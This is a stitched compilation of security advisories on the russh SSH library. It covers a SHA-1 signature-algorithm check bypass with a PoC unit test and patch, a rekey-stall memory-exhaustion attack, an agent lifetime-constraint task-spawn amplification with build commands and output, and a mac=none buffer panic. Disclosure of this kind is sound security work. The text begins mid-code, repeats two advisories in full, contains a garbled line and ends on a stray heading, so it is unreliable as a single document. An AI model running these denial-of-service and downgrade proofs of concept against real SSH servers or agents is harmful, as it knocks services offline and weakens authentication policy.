        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        self.authenticated = true;
        Ok(Auth::Accept)
    }
}

/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
    user: &str,
    private_key: Arc<PrivateKey>,
    announced: &str,
    hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
    let mut packet = Vec::new();
    packet.push(msg::USERAUTH_REQUEST);
    user.encode(&mut packet).unwrap();
    "ssh-connection".encode(&mut packet).unwrap();
    "publickey".encode(&mut packet).unwrap();
    1u8.encode(&mut packet).unwrap();
    announced.encode(&mut packet).unwrap();
    private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();

    let mut signed = Vec::new();
    CryptoVec::new().as_ref().encode(&mut signed).unwrap();
    signed.extend_from_slice(&packet);
    let signature =
        sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
    signature.encode(&mut packet).unwrap();
    packet
}

#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
    let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
    let private = Arc::new(PrivateKey::from(rsa));
    let mut session = test_auth_session();
    let mut handler = AcceptAnyKey::default();

    // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
    let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None);
    session.process_packet(&mut handler, &packet).await.unwrap();

    // RFC 8332 §3: the signature algorithm must be the requested one, so
    // this request must be rejected. On russh 0.63.3 it is accepted.
    assert!(
        !handler.authenticated,
        "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512"
    );
}

Result on unmodified 0.63.3:

test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512

With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.

Suggested fix: reject a mismatch through the existing reject_auth_request(until, ...) path, so the constant rejection time is kept.

--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
                     map_err!(ensure_end(&signature_reader))?;
                     map_err!(ensure_end(r))?;
 
+                    // RFC 8332 §3: the signature must use the algorithm the
+                    // request names.
+                    let offered_algorithm = match pk_or_cert {
+                        PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),
+                        PublicKeyOrCertificate::Certificate(_) => {
+                            <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)
+                        }
+                    };
+                    if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {
+                        debug!("signature algorithm does not match the requested one");
+                        auth_user.clear();
+                        reject_auth_request(until, &mut self.write, auth_request).await?;
+                        return Ok(());
+                    }
+
                     let is_valid = if accepted_probe_matches && user == auth_user {
                         true
                     } else {

Impact

This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.

Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:

• a server that refuses SHA-1 (ssh-rsa) signatures, as OpenSSH does by default since 8.8;
• a server that logs which algorithm a client authenticated with.

Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.

Not impacted:

• russh clients;
• authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
• Te RSA keys were examined, the case where one key admits several signature algorithms (ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.

Summary

A russh server can be driven to unbounded heap growth (process OOM / kill) by a peer that speaks only standard SSH messages, in the default configuration.

The peer starts a key re-exchange (sends SSH_MSG_KEXINIT) but never sends the follow-up SSH_MSG_KEX_ECDH_INIT, leaving the server's kex state machine in SessionKexState::InProgress indefinitely. While a rekey is in progress the server's three message-drain paths are all gated off (if !self.kex.active()), but the network-read path stays active, so every SSH_MSG_CHANNEL_OPEN the peer sends is processed inline and appends one reply to an unbounded internal queue (priority_receiver, an UnboundedReceiver) that is not dequeued until the rekey completes. Because the peer decides whether the rekey ever completes, the queue — and the server's memory — grows without bound.

This is reproducible end-to-end against a real russh server over a real encrypted transport; see "Proof of concept". A one-line negative control (same flood, no rekey) keeps memory flat, isolating the rekey window as the sole trigger.

Impact

• Availability / DoS. Server RSS climbs at roughly 3.3 KB per CHANNEL_OPEN, driven entirely by the peer, until the process is OOM-killed. In the reproduction one connection pushed the server from ~4 MB to 2.57 GB (and past 4.8 GB against the stock echoserver example) and it was still climbing when the flood was stopped.
• Reached with standard messages, no special configuration. Any handler is affected, including one that rejects every channel (the reply enqueued on rejection is exactly what accumulates). There is no per-connection cap on in-flight channel opens or on the queue, and the queue's sender has no backpressure.
• The peer keeps the connection alive simply by continuing to send, so the inactivity timer never fires.

Affected component

• russh/src/server/session.rs — Session::run tokio::select! loop. The network-read arm is ungated; the three drain paths are gated on !self.kex.active().
• russh/src/server/mod.rs — reply() routes a non-kex message received during a rekey straight to server_read_encrypted (inline processing).
• russh/src/lib_inner.rs — ChannelOpenHandleInner's accept/reject/Drop all send a reply on an UnboundedSender.

Verified on v0.63.1 (commit d3ae702), which is the latest release. The gating logic predates it.

Details

Session::run (russh/src/server/session.rs:631) drives a tokio::select! (:713). Three of its message-drain sites are gated on !self.kex.active():

• the pre-select! batch drain of priority_receiver/receiver (session.rs:680),
• the priority_receiver.recv() arm (session.rs:762),
• the receiver.recv() arm (session.rs:770, which also holds the only other priority_receiver drain at :777).

The fourth arm, r = &mut reading (session.rs:714), is ungated: it reads and processes one incoming packet every loop iteration regardless of rekey state, calling reply() (server/mod.rs:1128).

During a rekey, session.common.encrypted.is_some(), so the strict-kex message-ordering guard (server/mod.rs:1143, which is additionally gated on encrypted.is_none()) does not apply. A non-kex message therefore falls through reply() to session.server_read_encrypted(handler, pkt) (server/mod.rs:1232) and is handled inline. For SSH_MSG_CHANNEL_OPEN this reaches the channel-open handling, which hands the application a ChannelOpenHandle.

Whether the handler accepts or (the trait default) rejects, the handle's accept / reject / Drop all send a Msg::ChannelOpenReply on an UnboundedSender (russh/src/lib_inner.rs:560-603; Drop sends AdministrativelyProhibited at :594-603). That sender feeds priority_receiver, declared UnboundedReceiver<Msg> (session.rs:23) and created with tokio::sync::mpsc::unbounded_channel() (session.rs:1522). Its only drain sites are the three arms gated off during the rekey. So each CHANNEL_OPEN processed during the rekey window appends one reply (carrying a PendingChannelOpen = channel params + mpsc ChannelRef + ids, a few KB retained in practice) to a queue that is never dequeued.

Two facts make this unbounded and remote:

1. The server enters InProgress the moment it receives the peer's KEXINIT (server/mod.rs:1153-1158, begin_rekey) and only leaves it upon receiving the peer's KEX_ECDH_INIT. The peer decides whether to ever send that, so the window is attacker-held.
2. There is no per-connection cap on channels or on the priority queue, and the sender is unbounded (no backpressure).

Root cause

The intended design was to buffer packets received during a rekey and replay them afterwards: the fields pending_reads: Vec<Vec<u8>> and pending_len: u32 (session.rs:26-27) exist and are drained at kex completion (server/mod.rs:1194-1198). But nothing ever pushes to pending_reads or increments pending_len (they are dead — confirmed by grep across russh/src/). Instead of being buffered, channel messages received during a rekey are processed inline, and their replies pile up in the unbounded priority_receiver. The missing piece is a bound on — or bounded deferral of — channel processing while kex.active().

Proof of concept

Everything runs inside a container; nothing touches the host.

Lab. poc/Dockerfile builds russh-lab:head from Eugeny/russh @ d3ae702 (v0.63.1), default features (rust 1.91). A raw-SSH-client PoC (poc/poc_rekey_dos.rs) implements curve25519-sha256 / ssh-ed25519 / aes256-ctr / hmac-sha2-256 by hand, completes the handshake and a publickey auth, then:

1. sends SSH_MSG_KEXINIT (server enters kex.active()),
2. never sends KEX_ECDH_INIT (rekey stalls, attacker-held),
3. floods SSH_MSG_CHANNEL_OPEN.

A minimal server (poc/poc_server.rs) uses the trait-default channel_open_session (which rejects by dropping the handle), so the measured growth is purely the undrained priority queue, not accepted-channel state.

poc/run.sh runs the attack leg and an identical negative control with no rekey. Fresh run inside the lab, N = 800,000 opens (results/rerun-2026-08-29.log):

=== ATTACK (rekey stall) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s  server_RSS=667760KB
  t=4s  server_RSS=1599600KB
  t=6s  server_RSS=2556016KB
  t=8s  server_RSS=2566256KB   (flood done; memory retained)
=== CONTROL (no rekey) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s..t=12s  server_RSS=4208KB   (flat throughout)

• ATTACK: RSS 4,208 KB → 2,566,256 KB (~2.57 GB) and retained after the flood ends — ~3.3 KB per CHANNEL_OPEN, attacker-driven. (An earlier canonical run reached 2.7 GB at 800k opens, and past 4.8 GB against the stock echoserver example at 1.5 M opens — see results/canonical-run.log.)
• CONTROL: RSS flat at 4,208 KB. Without the rekey window the replies are drained normally; TCP backpressure (the client never reads the failure replies) even throttles the flood.

The control isolates the rekey window as the sole trigger. Both legs exercise the real server entry point (Session::run → reply → server_read_encrypted) over a real encrypted transport.

Reproduce: C=russh-lab N=800000 ./poc/run.sh (see poc/POC-README.md).

Remediation

The priority queue carries locally generated channel-open replies, which are non-kex messages the server must not send during a rekey anyway (RFC 4253 §7.1). So the fix is to bound how much channel work is done during a rekey, not to drain the queue mid-rekey. Any of:

• (recommended, minimal) cap the number of non-kex messages processed while a rekey is in progress and disconnect a peer that exceeds it. A stalled/abusive rekey is then torn down after a small constant instead of growing memory without bound. See patch/rekey-message-cap.patch (a ~10-line change local to Session::run, validated in the lab — the attack leg is disconnected after the cap and RSS stays flat; a normal rekey, which completes in one round trip, is unaffected).
• bound / deferred-buffer channel messages during a rekey using the existing (currently dead) pending_reads/pending_len machinery, with a hard cap.
• bound the number of in-flight channel opens per connection and reject beyond it.

OpenSSH does not service new channels mid-kex; matching that intent closes the whole family.

Summary

russh_keys::agent::server::add_key (russh/src/keys/agent/server.rs:271-319) spawns a dedicated tokio task for every 5-byte SSH_AGENT_CONSTRAIN_LIFETIME record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the auth-agent@openssh.com channel by default at russh/src/client/mod.rs:2686) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).

Details

// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)
while let Ok(t) = u8::decode(r) {
 match t {
 SSH_AGENT_CONSTRAIN_LIFETIME => {
 let lifetime = u32::decode(r)?;
 ...
 tokio::spawn({
 let key = key.clone;
 async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }
 });
 }
 ...

Each lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded tokio::spawn per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.

Proof of concept

Prerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.

$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh
russh at efa9a03 -> /home/ubuntu/russh-poc/poc

$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40
[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.
[*] fds = 19

The broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.

Manual reproduction, step by step (no archive required)

1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):

git clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310
cargo build --release   # in the PoC crate directory; the path dependency points at the clone

2. Run the PoC: it starts the agent on loopback, then sends repeated SSH_AGENTC_ADD_IDENTITY_CONSTRAINED messages whose constraint sections contain ~52,000 five-byte SSH_AGENT_CONSTRAIN_LIFETIME records each:

./target/release/poc-agent-addkey 40
# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.

3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (MODE=control), isolating the constraint-record task spawn as the amplifier.

4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept auth-agent@openssh.com channels by default, russh/src/client/mod.rs:2686), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.

Impact

An attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.

Details

In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):

• The requested algorithm name (pubkey_algo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derived hash_alg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }).
• The signature blob is decoded (Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()).
• pubkey_algo and sig.algorithm() are never compared.

So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.

Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.

The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.

• Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (pubkey.set_algorithm(algo_)), then verifies.
• From 0.47/0.48 (move to ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, later Signature::decode) and verified with it.

Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.

PoC

A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.

1. Check out russh 0.63.3, or main.
2. Paste the code below inside mod tests { ... } of russh/src/server/encrypted.rs.
3. Run cargo test --lib poc_sha1.

// ---- PoC: signature algorithm not checked against the requested one ----

/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
    authenticated: bool,
}

impl Handler for AcceptAnyKey {
    type Error = Error;

    async fn auth_publickey_offered(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        Ok(Auth::Accept)
    }

    async fn auth_publickey(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        self.authenticated = true;
        Ok(Auth::Accept)
    }
}

/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
    user: &str,
    private_key: Arc<PrivateKey>,
    announced: &str,
    hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
    let mut packet = Vec::new();
    packet.push(msg::USERAUTH_REQUEST);
    user.encode(&mut packet).unwrap();
    "ssh-connection".encode(&mut packet).unwrap();
    "publickey".encode(&mut packet).unwrap();
    1u8.encode(&mut packet).unwrap();
    announced.encode(&mut packet).unwrap();
    private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();

    let mut signed = Vec::new();
    CryptoVec::new().as_ref().encode(&mut signed).unwrap();
    signed.extend_from_slice(&packet);
    let signature =
        sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
    signature.encode(&mut packet).unwrap();
    packet
}

#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
    let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
    let private = Arc::new(PrivateKey::from(rsa));
    let mut session = test_auth_session();
    let mut handler = AcceptAnyKey::default();

    // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
    let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None);
    session.process_packet(&mut handler, &packet).await.unwrap();

    // RFC 8332 §3: the signature algorithm must be the requested one, so
    // this request must be rejected. On russh 0.63.3 it is accepted.
    assert!(
        !handler.authenticated,
        "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512"
    );
}

Result on unmodified 0.63.3:

test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512

With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.

Suggested fix: reject a mismatch through the existing reject_auth_request(until, ...) path, so the constant rejection time is kept.

--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
                     map_err!(ensure_end(&signature_reader))?;
                     map_err!(ensure_end(r))?;
 
+                    // RFC 8332 §3: the signature must use the algorithm the
+                    // request names.
+                    let offered_algorithm = match pk_or_cert {
+                        PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),
+                        PublicKeyOrCertificate::Certificate(_) => {
+                            <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)
+                        }
+                    };
+                    if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {
+                        debug!("signature algorithm does not match the requested one");
+                        auth_user.clear();
+                        reject_auth_request(until, &mut self.write, auth_request).await?;
+                        return Ok(());
+                    }
+
                     let is_valid = if accepted_probe_matches && user == auth_user {
                         true
                     } else {

Impact

This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.

Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:

• a server that refuses SHA-1 (ssh-rsa) signatures, as OpenSSH does by default since 8.8;
• a server that logs which algorithm a client authenticated with.

Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.

Not impacted:

• russh clients;
• authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
• Te RSA keys were examined, the case where one key admits several signature algorithms (ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.

Summary

A russh server can be driven to unbounded heap growth (process OOM / kill) by a peer that speaks only standard SSH messages, in the default configuration.

The peer starts a key re-exchange (sends SSH_MSG_KEXINIT) but never sends the follow-up SSH_MSG_KEX_ECDH_INIT, leaving the server's kex state machine in SessionKexState::InProgress indefinitely. While a rekey is in progress the server's three message-drain paths are all gated off (if !self.kex.active()), but the network-read path stays active, so every SSH_MSG_CHANNEL_OPEN the peer sends is processed inline and appends one reply to an unbounded internal queue (priority_receiver, an UnboundedReceiver) that is not dequeued until the rekey completes. Because the peer decides whether the rekey ever completes, the queue — and the server's memory — grows without bound.

This is reproducible end-to-end against a real russh server over a real encrypted transport; see "Proof of concept". A one-line negative control (same flood, no rekey) keeps memory flat, isolating the rekey window as the sole trigger.

Impact

• Availability / DoS. Server RSS climbs at roughly 3.3 KB per CHANNEL_OPEN, driven entirely by the peer, until the process is OOM-killed. In the reproduction one connection pushed the server from ~4 MB to 2.57 GB (and past 4.8 GB against the stock echoserver example) and it was still climbing when the flood was stopped.
• Reached with standard messages, no special configuration. Any handler is affected, including one that rejects every channel (the reply enqueued on rejection is exactly what accumulates). There is no per-connection cap on in-flight channel opens or on the queue, and the queue's sender has no backpressure.
• The peer keeps the connection alive simply by continuing to send, so the inactivity timer never fires.

Affected component

• russh/src/server/session.rs — Session::run tokio::select! loop. The network-read arm is ungated; the three drain paths are gated on !self.kex.active().
• russh/src/server/mod.rs — reply() routes a non-kex message received during a rekey straight to server_read_encrypted (inline processing).
• russh/src/lib_inner.rs — ChannelOpenHandleInner's accept/reject/Drop all send a reply on an UnboundedSender.

Verified on v0.63.1 (commit d3ae702), which is the latest release. The gating logic predates it.

Details

Session::run (russh/src/server/session.rs:631) drives a tokio::select! (:713). Three of its message-drain sites are gated on !self.kex.active():

• the pre-select! batch drain of priority_receiver/receiver (session.rs:680),
• the priority_receiver.recv() arm (session.rs:762),
• the receiver.recv() arm (session.rs:770, which also holds the only other priority_receiver drain at :777).

The fourth arm, r = &mut reading (session.rs:714), is ungated: it reads and processes one incoming packet every loop iteration regardless of rekey state, calling reply() (server/mod.rs:1128).

During a rekey, session.common.encrypted.is_some(), so the strict-kex message-ordering guard (server/mod.rs:1143, which is additionally gated on encrypted.is_none()) does not apply. A non-kex message therefore falls through reply() to session.server_read_encrypted(handler, pkt) (server/mod.rs:1232) and is handled inline. For SSH_MSG_CHANNEL_OPEN this reaches the channel-open handling, which hands the application a ChannelOpenHandle.

Whether the handler accepts or (the trait default) rejects, the handle's accept / reject / Drop all send a Msg::ChannelOpenReply on an UnboundedSender (russh/src/lib_inner.rs:560-603; Drop sends AdministrativelyProhibited at :594-603). That sender feeds priority_receiver, declared UnboundedReceiver<Msg> (session.rs:23) and created with tokio::sync::mpsc::unbounded_channel() (session.rs:1522). Its only drain sites are the three arms gated off during the rekey. So each CHANNEL_OPEN processed during the rekey window appends one reply (carrying a PendingChannelOpen = channel params + mpsc ChannelRef + ids, a few KB retained in practice) to a queue that is never dequeued.

Two facts make this unbounded and remote:

1. The server enters InProgress the moment it receives the peer's KEXINIT (server/mod.rs:1153-1158, begin_rekey) and only leaves it upon receiving the peer's KEX_ECDH_INIT. The peer decides whether to ever send that, so the window is attacker-held.
2. There is no per-connection cap on channels or on the priority queue, and the sender is unbounded (no backpressure).

Root cause

The intended design was to buffer packets received during a rekey and replay them afterwards: the fields pending_reads: Vec<Vec<u8>> and pending_len: u32 (session.rs:26-27) exist and are drained at kex completion (server/mod.rs:1194-1198). But nothing ever pushes to pending_reads or increments pending_len (they are dead — confirmed by grep across russh/src/). Instead of being buffered, channel messages received during a rekey are processed inline, and their replies pile up in the unbounded priority_receiver. The missing piece is a bound on — or bounded deferral of — channel processing while kex.active().

Proof of concept

Everything runs inside a container; nothing touches the host.

Lab. poc/Dockerfile builds russh-lab:head from Eugeny/russh @ d3ae702 (v0.63.1), default features (rust 1.91). A raw-SSH-client PoC (poc/poc_rekey_dos.rs) implements curve25519-sha256 / ssh-ed25519 / aes256-ctr / hmac-sha2-256 by hand, completes the handshake and a publickey auth, then:

1. sends SSH_MSG_KEXINIT (server enters kex.active()),
2. never sends KEX_ECDH_INIT (rekey stalls, attacker-held),
3. floods SSH_MSG_CHANNEL_OPEN.

A minimal server (poc/poc_server.rs) uses the trait-default channel_open_session (which rejects by dropping the handle), so the measured growth is purely the undrained priority queue, not accepted-channel state.

poc/run.sh runs the attack leg and an identical negative control with no rekey. Fresh run inside the lab, N = 800,000 opens (results/rerun-2026-08-29.log):

=== ATTACK (rekey stall) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s  server_RSS=667760KB
  t=4s  server_RSS=1599600KB
  t=6s  server_RSS=2556016KB
  t=8s  server_RSS=2566256KB   (flood done; memory retained)
=== CONTROL (no rekey) === (poc_server baseline_RSS=4208KB, N=800000)
  t=2s..t=12s  server_RSS=4208KB   (flat throughout)

• ATTACK: RSS 4,208 KB → 2,566,256 KB (~2.57 GB) and retained after the flood ends — ~3.3 KB per CHANNEL_OPEN, attacker-driven. (An earlier canonical run reached 2.7 GB at 800k opens, and past 4.8 GB against the stock echoserver example at 1.5 M opens — see results/canonical-run.log.)
• CONTROL: RSS flat at 4,208 KB. Without the rekey window the replies are drained normally; TCP backpressure (the client never reads the failure replies) even throttles the flood.

The control isolates the rekey window as the sole trigger. Both legs exercise the real server entry point (Session::run → reply → server_read_encrypted) over a real encrypted transport.

Reproduce: C=russh-lab N=800000 ./poc/run.sh (see poc/POC-README.md).

Remediation

The priority queue carries locally generated channel-open replies, which are non-kex messages the server must not send during a rekey anyway (RFC 4253 §7.1). So the fix is to bound how much channel work is done during a rekey, not to drain the queue mid-rekey. Any of:

• (recommended, minimal) cap the number of non-kex messages processed while a rekey is in progress and disconnect a peer that exceeds it. A stalled/abusive rekey is then torn down after a small constant instead of growing memory without bound. See patch/rekey-message-cap.patch (a ~10-line change local to Session::run, validated in the lab — the attack leg is disconnected after the cap and RSS stays flat; a normal rekey, which completes in one round trip, is unaffected).
• bound / deferred-buffer channel messages during a rekey using the existing (currently dead) pending_reads/pending_len machinery, with a hard cap.
• bound the number of in-flight channel opens per connection and reject beyond it.

OpenSSH does not service new channels mid-kex; matching that intent closes the whole family.

Summary

SshBlockCipher implementations (AES-CBC, AES-CTR, 3DES-CBC, etc.) report needs_mac() == true, meaning they are documented/intended to always be paired with a separate integrity MAC. However, key-exchange negotiation only checks needs_mac() inside the fallback branch of MAC algorithm selection (used when no common MAC algorithm exists). If both peers' preferred MAC lists simply contain none and it is successfully negotiated through the normal selection path, nothing rejects pairing none with a cipher that requires a MAC. Once negotiated, a single crafted packet from either peer causes cipher::read() to shrink an already-allocated buffer below the number of bytes it is about to index, causing a Rust slice-index-out-of-range panic and killing that connection's task.

Details

In russh/src/cipher/mod.rs, read() for a block cipher:

1. Reads packet_length_to_read_for_block_length() bytes up front (16 bytes for any SshBlockCipher) into buffer.buffer.
2. Decrypts the first block to recover the plaintext packet-length field len.
3. Computes buffer.len = len + cipher.tag_len().
4. Calls buffer.buffer.resize(buffer.len + 4, 0).
5. Immediately indexes buffer.buffer[16..] (via the constant used for the first block read) to continue decrypting/reading the rest of the packet.

When the negotiated MAC is none, tag_len() == 0. If the attacker (or a MITM holding the session key, or simply the accepting peer testing a hostile client) sends a packet whose decrypted length field is 0, then buffer.len = 0 and resize(0 + 4, 0) shrinks the buffer that was already grown to 16 bytes in step 1 down to 4 bytes. The subsequent slice operation buffer.buffer[16..] then panics with range start index 16 out of range for slice of length 4.

The file already defines a MINIMUM_PACKET_LEN constant, but it is only consulted on the write/padding side, never on the read path — so nothing prevents an incoming packet from declaring a length shorter than the bytes already buffered.

Negotiation gap: negotiation.rs's Select MAC-selection logic only special-cases needs_mac() when negotiation would otherwise fail (no common MAC), substituting none only if the cipher does not need one. It never re-validates the case where none is a common/successfully-negotiated MAC on both sides regardless of what the chosen cipher requires. So an application (or a malicious peer, since negotiation is attacker-influenced on one side) that includes none in its own preferred MAC list — while still allowing the default CTR/CBC cipher suite — ends up with an invalid, panic-inducing combination that the library itself should refuse.

PoC

1. Configure one side's Preferred config to include mac::NONE in the MAC list (this is a supported, non-default configuration exposed by the crate's public Preferred API — used e.g. for legacy/interop compatibility), while leaving the default cipher list (which includes aes256-ctr/aes256-cbc) untouched.
2. Complete a normal key exchange; negotiation lands on {cipher: aes*-ctr (or -cbc), mac: none} because none is present and preferred/common on both sides, and nothing during negotiation rejects this pairing.
3. From the peer, send one transport packet whose decrypted packet-length field is 0 (trivial to construct once the session keys are known to that peer, or for the peer that legitimately owns the connection to simply hand-craft, e.g. a modified client for testing).
4. cipher::read() on the receiving side panics: range start index 16 out of range for slice of length 4.
5. Because each connection is handled in its own tokio::spawn'ed task (see the per-connection select! loop that calls into cipher::read()), the panic unwinds only that task by default, but it unconditionally terminates that SSH connection/session — a working, currently-unauthenticated, already-established connection is killed with no attacker interaction beyond the one crafted packet, and the check runs on every inbound packet including pre-auth ones.

Impact

Denial of service: a remote peer that can influence MAC preference negotiation (or a MITM in possession of the session key) can crash any individual SSH connection/session that ends up negotiating a block cipher together with mac=none, with a single crafted packet, pre-authentication. This does not affect the process as a whole (panic is scoped to that connection's task under panic=unwind), and does require a non-default configuration that permits none as a preferred MAC — hence Low severity.

Suggested fix

In the MAC-selection logic in negotiation.rs, reject (or force substitution of) mac::NONE whenever the negotiated cipher's needs_mac() is true, regardless of how none came to be selected — not only in the "no common MAC" fallback branch. Defensively, cipher::read() could also refuse to shrink a buffer below the number of bytes already consumed for the length-field block, returning a protocol error instead of resizing blindly.

For credit/changelog purposes, please use: Yazan Balawneh, Cystack.ps

Summary

